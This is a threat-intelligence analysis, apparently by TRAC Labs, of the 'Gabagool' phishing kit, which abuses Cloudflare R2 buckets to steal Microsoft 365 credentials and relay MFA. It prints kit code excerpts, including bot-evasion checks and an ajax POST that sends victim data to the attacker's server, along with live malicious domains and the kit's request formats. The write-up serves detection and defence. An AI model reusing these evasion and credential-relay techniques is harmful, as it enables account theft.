AiTM Phishing, Hold the Gabagool: Analyzing the Gabagool Phishing Kit

### #PhishingKit #CloudflareExploitation #EmailCompromise
Summary: The TRAC Labs team has uncovered a phishing campaign named “Gabagool” that exploits Cloudflare R2 buckets to target corporate and government employees. This campaign utilizes compromised email accounts to send phishing emails containing malicious links that redirect victims to credential harvesting pages.

Threat Actor: Gabagool | Gabagool
Victim: Corporate and Government Employees | Corporate and Government Employees

Key Point :

  • Phishing emails are disguised as documents, leading users to malicious links embedded in images or RTF attachments.
  • The phishing kit uses Cloudflare R2 buckets to host malicious content, leveraging Cloudflare’s reputation to evade detection.
  • JavaScript functions within the phishing pages detect bot activity and manipulate the webpage to harvest user credentials.
  • Credential harvesting is facilitated through a series of POST requests that log user interactions and validate email addresses associated with organizational domains.
  • Indicators of compromise include unusual connections to Cloudflare R2 buckets and traffic to known malicious servers.

Case study

The TRAC Labs team has been monitoring the recent wave of phishing campaigns and is tracking this phishing kit under the name Gabagool targeting corporate and government employees.

The recently observed phishing campaign leveraging Cloudflare R2 buckets.

Cloudflare R2 buckets are storage containers in Cloudflare’s R2 storage service, designed to hold large volumes of unstructured data with zero egress fees. Threat actors can abuse Cloudflare R2 buckets for phishing by hosting malicious content or phishing landing pages in these buckets, leveraging the trusted reputation of Cloudflare to bypass security filters.

Gabagool Analysis

Infection chain overview

The threat actor would initially compromise the user’s mailbox and begin sending phishing emails to other employees. These emails prompt recipients to view an image attached to the email, which is disguised as a document. Embedded within the image is a malicious URL-shortened link leveraging tiny.cc and tiny.pl that contain a redirect chain. For the QR-code schemes, the threat actor would attach a document to the email, for example an RTF document as shown below.

RTF attachment containing the QR-code

Let’s walk through the entire infection chain using an example that includes a URL-shortened link embedded in an image. The image is titled “NEW FAX DOCUMENT(S) HAS BEEN RECEIVED”. When the user clicks on the image, they are redirected to file-sharing platforms such as SharePoint, SugarSync or Box as shown in the examples below.

Document shared via Box
Document shared via Sharepoint
Document shared via SugarSync
Document shared via Sharepoint

After clicking on “View or Download Document” or “Open Document”, the user would be redirected to another landing page shown below with Cloudflare R2 bucket mentioned earlier.

The landing page

As you can see, the URL is in the following format: pub-{32 hexadecimal characters}.r2.dev/{html_filename}.html. A lot of other unrelated phishing kits are also abusing R2 buckets and use the similar format but we will be focusing specifically on Gabagool.

Let’s analyze source code of the landing page above.

Source code of the landing page

The unlink parameter contains the credential harvesting phishing landing page and bi parameter contains the redirect to a legitimate URL. At the end of the source code, we see the obfuscated blob of the JavaScript code.

Obfuscated JavaScript code at the end of the source code

Upon deobfuscating the JavaScript, we see a few interesting functions:

detectBots

The function detects signs of bot activity with following checks:

  • Webdriver Check — it first checks if navigator.webdriver is true. This property is often true in headless browsers or automation frameworks like Selenium, which are commonly used by bots for scraping or automated interactions. If this check passes (navigator.webdriver is true), the function logs "Headless browser detected!" to the console and returns true, indicating potential bot activity.
  • Mouse Movement Detection — the function listens for the mousemove event. It counts these events, and if it exceeds 100 movements, it means that a real user is likely interacting with the page, as bots typically do not generate frequent or complex mouse movements. If the mouse movement count does not exceed 100, it logs "Unusual mouse movements detected!" to the console and returns true, suggesting bot-like behavior.
  • Cookie Test — it sets a test cookie named “botCheck” with a value of “1” using the setCookie function. This cookie is set to expire after 1 day. The function then attempts to retrieve the cookie using getCookie. If the cookie cannot be retrieved (returns null or incorrect value), it suggests that cookies are disabled or not supported, which is common in some bot configurations. If the cookie cannot be retrieved, "Cookies are disabled!" is logged to the console, and the function returns true, pointing to possible bot activity.
  • Rapid Interaction Detection it uses setInterval to check if actions are occurring in rapid succession—specifically, it checks if function calls happen more frequently than every 5000 milliseconds. Rapid, repeated interactions in such a short time frame are signs of automated scripts rather than human users. If rapid interactions are detected, "Rapid requests detected!" is logged to the console every time the interval condition is met, suggesting automated behavior.

If any of these checks suggest bot activity (webdriver presence, no mouse movements, failure to read the test cookie, or rapid repeated interactions), the redirect to the legitimate domain assigned under bi parameter happens.

If all the checks are passed — no bot activity detected, the script proceeds with the following:

Webpage Manipulation

  • The addStyles function Adds CSS styles to hide overflow content and set the base dimensions and visibility for certain elements, preparing for content insertion.
  • Creates an image element and sets its style for full viewport height and central positioning.
  • If no bots are detected, after a delay of 2 seconds, it removes the image displayed to the user, applies the styles defined in addStyles and sets the iframe’s source to a dynamically constructed URL under ai parameter, which is intended to load contents of the credential harvesting page.
Snippet of the deobfuscated JS code

Let’s now look at the source code of the loaded content from the ulink (we will grab the working sample — cuippored.top/fine/#, note that some landing pages other than /fine/#might also contain /200,/300,/400 , /500, /ppp, /ooo).

First, the CryptoJS library is loaded in the HTML content, suggesting that encryption or decryption operations will follow next in the script.

CryptoJS library is being loaded

Scrolling down we see an interesting snippet. The Gabagool’s server (o365.alnassers.net) that is responsible for receiving the harvested credentials and serving additional phishing content is AES-encrypted.

Snippet of code responsible for interacting with the Gabagool’s server
Decrypted content containing the Gabagool’s server

The string Z2AzDtkQgaEKJWdOV0SCDDSHsCn91fyMiObH65OnsoadZmRdds0rzqsOhYC/7tK5SQBluO+DxtRYLp7uD0LeZg== serves as a unique identifier for the phishing campaign.

Here’s a revised and more detailed explanation of the variables SV and SIR:

The variables SV and SIR are used as flag values in the context of function calls and server requests. Specifically, SV (Send Visit) is a flag that indicates whether the user’s visit should be logged or not, likely for tracking user’s visits on the landing page. The SIR (Send Invalid Result) flag, on the other hand, indicates whether to log or handle invalid or unexpected results, such as failed validations or errors during data processing.

The initial POST request to the server contains the following in our example:

{
"psk": "Z2AzDtkQgaEKJWdOV0SCDDSHsCn91fyMiObH65OnsoadZmRdds0rzqsOhYC/7tK5SQBluO+DxtRYLp7uD0LeZg==",
"do": "GURI",
"redirect_url": "https://outlook.office365.com/Encryption/ErrorPage.aspx?src=3&code=11",
"theme": "office"
}

We see an interesting GURI marker, the office theme, the unique identifier and the redirect URL. The users will be redirect to the URL upon entering the valid credentials.

Redirect URL

If the unique identifier is valid, the server returns the actual phishing landing page code designed to harvest the credentials. The response is also AES-encrypted. Where a contains the AES key and b contains the encrypted data, c indicates the response status.

{
"a": "znzzxzyy3pvb3aj2",
"b": "4kdIwhtrvIKC7Q5R60tJKbLHP/gxnYJVW05leDGmnzN89wmzhkm6t....",
"c": "success"
}
Snippet of the credential harvesting landing page that is AES-decrypted

The script below is responsible for responding to keystrokes (specifically the Enter key, keycode 13) and mouse clicks on certain elements (#Vus9l, #lX2yIt, #U814kPS, #jIXfOYhkX). Event handlers associated with these elements activate specific functions when the Enter key is pressed or the elements are clicked. The Enter key is specifically monitored to detect when a user has completed entering data into an input field and intends to submit it. For the input field #Vus9l, the value entered is passed to a variable named em, which is then included in a POST request sent to the server; this value could be an email address, phone number, or Skype username. Similarly, for #U814kPS, the entered value is captured in a variable named px, which holds the password.

The code responsible for listening for keystrokes

Another POST request after the user enters the email and credentials would have the following format (the current IP address is fetched from https://api.ipify.org?format=json):

    $.ajax({
url: FWqDj,
cache: false,
type: "POST",
data: JSON.stringify({
do: "check",
em: XMFkjaD6v,
IP: current_ip,
bdata: navigator.userAgent,
psk: psk,
send_visit: SV,
send_invalid_result: SIR,
}),
contentType: "application/json", // Ensures the request is sent as JSON
dataType: "json", // Expecting JSON response from server

In terms of network traffic, it would appear as follows:

{
"do": "check",
"em": email address,
"IP": IP address,
"bdata": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
"psk": "Z2AzDtkQgaEKJWdOV0SCDDSHsCn91fyMiObH65OnsoadZmRdds0rzqsOhYC/7tK5SQBluO+DxtRYLp7uD0LeZg==",
"send_visit": "0",
"send_invalid_result": "1"
}

“do”: “check”: Initially, the server performs validations to ensure that the email address is associated with an organizational domain. Therefore, addresses from domains like outlook.com or hotmail.com would not be accepted.

If the email check is successful, the response might look like this:

{
"status": "success",
"banner": null,
"background": null,
"boilerPlateText": null,
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZGVudGlmaWVyIjoiWjJBekR0a1FnYUVLSldkT1YwU0NERFNIc0NuOTFmeU1pT2JINjVPbnNvYWRabVJkZHMwcnpxc09oWUMvN3RLNVNRQmx1TytEeHRSWUxwN3VEMExlWmc9PSIsImlhdCI6MTczMTg4NzA4MS4zNjE4MzIxLCJleHAiOjE3MzE4OTA2ODEuMzYxODMyNn0.llnuf5ZD_YTKCK6J1AXyJVVBTp3Jg1mlqNXF_QZwj_E"
}

In the response above:

  • banner, background, and boilerPlateText could hold the company’s logo, a background image, and predefined text if they exist.
  • token contains a JWT (JSON Web Token) which is used for maintaining the user’s session, the token value is base64-encoded and decodes to:
{"alg":"HS256","typ":"JWT"}{"identifier":"Z2AzDtkQgaEKJWdOV0SCDDSHsCn91fyMiObH65OnsoadZmRdds0rzqsOhYC/7tK5SQBluO+DxtRYLp7uD0LeZg==","iat":1731887081.3618321,"exp":1731890681.3618326}

Where the header is{"alg":"HS256","typ":"JWT"}

  • alg — specifies the algorithm used to sign the JWT, in this case, HS256 which means HMAC SHA-256.
  • typ — specifies the type of the token, here it’s a JWT.
  • identifier: This is likely a unique identifier for the user or the session, encoded in Base64 or a similar format.
  • iat (Issued At) — the time at which the JWT was issued, given as a Unix timestamp. The value 1731887081.3618321 translates to November 17, 2024, at 23:44:41.
  • exp (Expiration Time) — the expiration time on or after which the JWT must not be accepted for processing. The value 1731890681.3618326 translates to November 18, 2024, at 00:44:41.

Next step is for user to the valid credentials in the password field. After the user enters the valid credentials, the POST request would look like the following:

{
"do": "le",
"em": email address,
"px": password,
"sec": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZGVudGlmaWVyIjoiWjJBekR0a1FnYUVLSldkT1YwU0NERFNIc0NuOTFmeU1pT2JINjVPbnNvYWRabVJkZHMwcnpxc09oWUMvN3RLNVNRQmx1TytEeHRSWUxwN3VEMExlWmc9PSIsImlhdCI6MTczMTg4NzA4MS4zNjE4MzIxLCJleHAiOjE3MzE4OTA2ODEuMzYxODMyNn0.llnuf5ZD_YTKCK6J1AXyJVVBTp3Jg1mlqNXF_QZwj_E",
"psk": "Z2AzDtkQgaEKJWdOV0SCDDSHsCn91fyMiObH65OnsoadZmRdds0rzqsOhYC/7tK5SQBluO+DxtRYLp7uD0LeZg=="
}

The server response depends on whether the user has two-factor authentication (2FA) set up. In this instance, the user has multifactor authentication enabled, and the response would typically look like the following:

{
"status": "2",
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZGVudGlmaWVyIjoiWjJBekR0a1FnYUVLSldkT1YwU0NERFNIc0NuOTFmeU1pT2JINjVPbnNvYWRabVJkZHMwcnpxc09oWUMvN3RLNVNRQmx1TytEeHRSWUxwN3VEMExlWmc9PSIsImlhdCI6MTczMTg4NzA4MS4zNjE4MzIxLCJleHAiOjE3MzE4OTA2ODEuMzYxODMyNn0.llnuf5ZD_YTKCK6J1AXyJVVBTp3Jg1mlqNXF_QZwj_E",
"method": "W3siYXV0aE1ldGhvZElkIjogIlBob25lQXBwTm90aWZpY2F0aW9uIiwgImRhdGEiOiAiUGhvbmVBcHBOb3RpZmljYXRpb24iLCAiZGlzcGxheSI6ICIrWCBYWFhYWFhYWDQ4IiwgImlzRGVmYXVsdCI6IHRydWUsICJpc0xvY2F0aW9uQXdhcmUiOiBmYWxzZX0sIHsiYXV0aE1ldGhvZElkIjogIlBob25lQXBwT1RQIiwgImRhdGEiOiAiUGhvbmVBcHBPVFAiLCAiZGlzcGxheSI6ICIrWCBYWFhYWFhYWDQ4IiwgImlzRGVmYXVsdCI6IGZhbHNlLCAiaXNMb2NhdGlvbkF3YXJlIjogZmFsc2UsICJwaG9uZUFwcE90cFR5cGVzIjogWyJNaWNyb3NvZnRBdXRoZW50aWNhdG9yQmFzZWRUT1RQIl19XQ==",
"sec": "q1ZKzVWyUipJTczVy00syk4tycxLd0guTcpM1k1K0UvOz1XSUcpOrQSqcQYJOhgbGRoYKtUCAA=="
}

The status 2 means that multifactor authentication options are present.

  • sec variable contains the token.
  • method variable contains the Base64-encoded authentication methods. Based on the methods available, such as PhoneAppNotification, PhoneAppOTP, OneWaySMS, TwoWayVoiceMobile and TwoWayVoiceOffice. The method variable decodes to:
[{"authMethodId": "PhoneAppNotification", "data": "PhoneAppNotification", "display": "+X XXXXXXXX48", "isDefault": true, "isLocationAware": false}, {"authMethodId": "PhoneAppOTP", "data": "PhoneAppOTP", "display": "+X XXXXXXXX48", "isDefault": false, "isLocationAware": false, "phoneAppOtpTypes": ["MicrosoftAuthenticatorBasedTOTP"]}]

First Object (PhoneAppNotification)

  • authMethodId: “PhoneAppNotification” — identifies the method of authentication, in this case, a notification sent through a phone application.
  • data: “PhoneAppNotification” — represents the identifier used by the server to process this method.
  • display: “+X XXXXXXXX48” — this is a masked representation of a phone number to which the notification would be sent.
  • isDefault: true — indicates that PhoneAppNotification is the default method of authentication for the user.
  • isLocationAware: false — the field specifies whether the authentication method utilizes location data to verify the identity and here, it does not.

Second Object (PhoneAppOTP)

  • authMethodId: “PhoneAppOTP” — the method involves a One-Time Password (OTP) generated and sent through a phone application.
  • data: “PhoneAppOTP” — an identifier.
  • isDefault: false — the method is not set as the default; users might have to choose to use it actively or it may be used as a secondary method.
  • isLocationAware: false — similar to the the first method, location data is not used in the verification process.
  • phoneAppOtpTypes: “MicrosoftAuthenticatorBasedTOTP” — this specifies the type of OTP used; in this case, it’s a TOTP (Time-based One-Time Password) generated by Microsoft Authenticator.

The user would choose one of the authentication methods shown below.

Available authentication methods

If the user chooses the first method — approve the request via the Microsoft Authenticator app, the POST request would look like the following:

{
"m": "1",
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZGVudGlmaWVyIjoiWjJBekR0a1FnYUVLSldkT1YwU0NERFNIc0NuOTFmeU1pT2JINjVPbnNvYWRabVJkZHMwcnpxc09oWUMvN3RLNVNRQmx1TytEeHRSWUxwN3VEMExlWmc9PSIsImlhdCI6MTczMTg4OTQxMy42MjExODA4LCJleHAiOjE3MzE4OTMwMTMuNjIxMTgxfQ.GmuecjR3LZI8GVnYfLMeipTQE1n-OpCg3jMiLuutEmc",
"do": "ver",
"sec": "q1ZKzVWyUipJTczVy00syk4tycxLd0guTcpM1k1K0UvOz1XSUcpOrQSqcQYJOhgbGRoYKtUCAA==",
"psk": "Z2AzDtkQgaEKJWdOV0SCDDSHsCn91fyMiObH65OnsoadZmRdds0rzqsOhYC/7tK5SQBluO+DxtRYLp7uD0LeZg=="
}

Where “m”: “1” is the first authentication method used, which is PhoneAppNotification.

The code snippet displaying authentication methods

The response from the server would contain the OTP value, type number, status and the token:

    "status": true,
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZGVudGlmaWVyIjoiWjJBekR0a1FnYUVLSldkT1YwU0NERFNIc0NuOTFmeU1pT2JINjVPbnNvYWRabVJkZHMwcnpxc09oWUMvN3RLNVNRQmx1TytEeHRSWUxwN3VEMExlWmc9PSIsImlhdCI6MTczMTg4OTQxMy42MjExODA4LCJleHAiOjE3MzE4OTMwMTMuNjIxMTgxfQ.GmuecjR3LZI8GVnYfLMeipTQE1n-OpCg3jMiLuutEmc",
"otp": 120,
"type": "one"
}

If the user chooses to use the verification code the method (PhoneAppOTP) would be equal to 2. For OneWaySMS — 3, TwoWayVoiceMobile — 4 and TwoWayVoiceOffice — 5.

For each POST requests using one of the following authentication methods described above, the service variable will change depending on the method being used.

This is the POST request for the first authentication method being used:

do: "cV",
token: oIVhfu.token,
service: "a",
sec: D7yCQ1q,
psk: psk

Actual POST request sent:

{
"do": "cV",
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZGVudGlmaWVyIjoiWjJBekR0a1FnYUVLSldkT1YwU0NERFNIc0NuOTFmeU1pT2JINjVPbnNvYWRabVJkZHMwcnpxc09oWUMvN3RLNVNRQmx1TytEeHRSWUxwN3VEMExlWmc9PSIsImlhdCI6MTczMTg4OTc4NC4yNTA5NDk5LCJleHAiOjE3MzE4OTMzODQuMjUwOTQ5OX0.ygwSnXIVG9J4ccN80O7qsFRNh-suL0DjbZVmBgf_R6Q",
"service": "a",
"sec": "q1ZKzVWyUipJTczVy00syk4tycxLd0guTcpM1k1K0UvOz1XSUcpOrQSqcQYJOhgbGRoYKtUCAA==",
"psk": "Z2AzDtkQgaEKJWdOV0SCDDSHsCn91fyMiObH65OnsoadZmRdds0rzqsOhYC/7tK5SQBluO+DxtRYLp7uD0LeZg=="
}

So, for PhoneAppNotification — “a”

  • PhoneAppOTP — “c”
  • OneWaySMS — “b”
  • TwoWayVoiceMobile — “d”
  • TwoWayVoiceOffice — “e”

Additional Research

We found another landing page slightly different from the one we analyzed.

Where the landing page instead of ulink would be assigned under originalUrl variable and the legitimate redirect domain would be assigned as botUrl instead of bi, both values would be Base64-encoded as shown below.

Snippet of the landing page

The script checks the user agent of the browser to detect if it is a known bot (like Googlebot, Bingbot, Chromebot, etc.). Depending on whether a bot is detected, the user is redirected to one of the two URLs:

  • Bots are redirected to Facebook.
  • Regular users (non-bots) are redirected to the specific next phishing landing page emcs.cnt.br/27942f91ec60abe507e5e85c70f2a95a/services/mathon/PX-%20o365%20v1.2/.
  • The redirection is initiated 2 seconds after the page loads.

Summary

The TRAC Labs team has identified a phishing campaign dubbed as “Gabagool”, targeting corporate and government employees. This campaign leverages Cloudflare R2 buckets to host malicious content, taking advantage of Cloudflare’s trusted reputation to bypass security measures. The attackers start by compromising email accounts and sending phishing emails containing malicious links. These links direct victims to fake documents hosted on platforms like SharePoint, SugarSync, or Box, which then reroute to a phishing page hidden within a Cloudflare R2 bucket.

Special thanks to any.run for providing public samples through their Threat Intelligence platform.

Detection

  • Look for unusual connections to Cloudflare R2 buckets with URLs formatted like pub-{32 hexadecimal characters}.r2.dev/{html_filename}.html.
  • Keep an eye on traffic heading to known malicious servers, such as o365.alnassers.net.
  • If network traffic packet captures are available, review the data being sent to these servers.
  • To assist in hunting, use public URLScan queries such as page.domain:pub-*.*r2.dev OR hash:8c905c71ef88bdd72707dab7b5c2adfdd148190f74b7284b7f7745bea500a92e

For more hunting ideas, you can reach out to us via Twitter.

Indicators of Compromise

You can access the Indicators of Compromise on our Github page.

References

https://developers.cloudflare.com/r2/get-started/

https://medium.com/r/?url=https%3A%2F%2Fdeveloper.mozilla.org%2Fen-US%2Fdocs%2FWeb%2FAPI%2FNavigator%2Fwebdriver

https://app.any.run/tasks/92bddc27-6009-466f-8b14-ce6a97e01685/

Github

Threat Intelligence platform

Source: https://medium.com/@traclabs_/aitm-phishing-hold-the-gabagool-analyzing-the-gabagool-phishing-kit-531f5bbaf0e4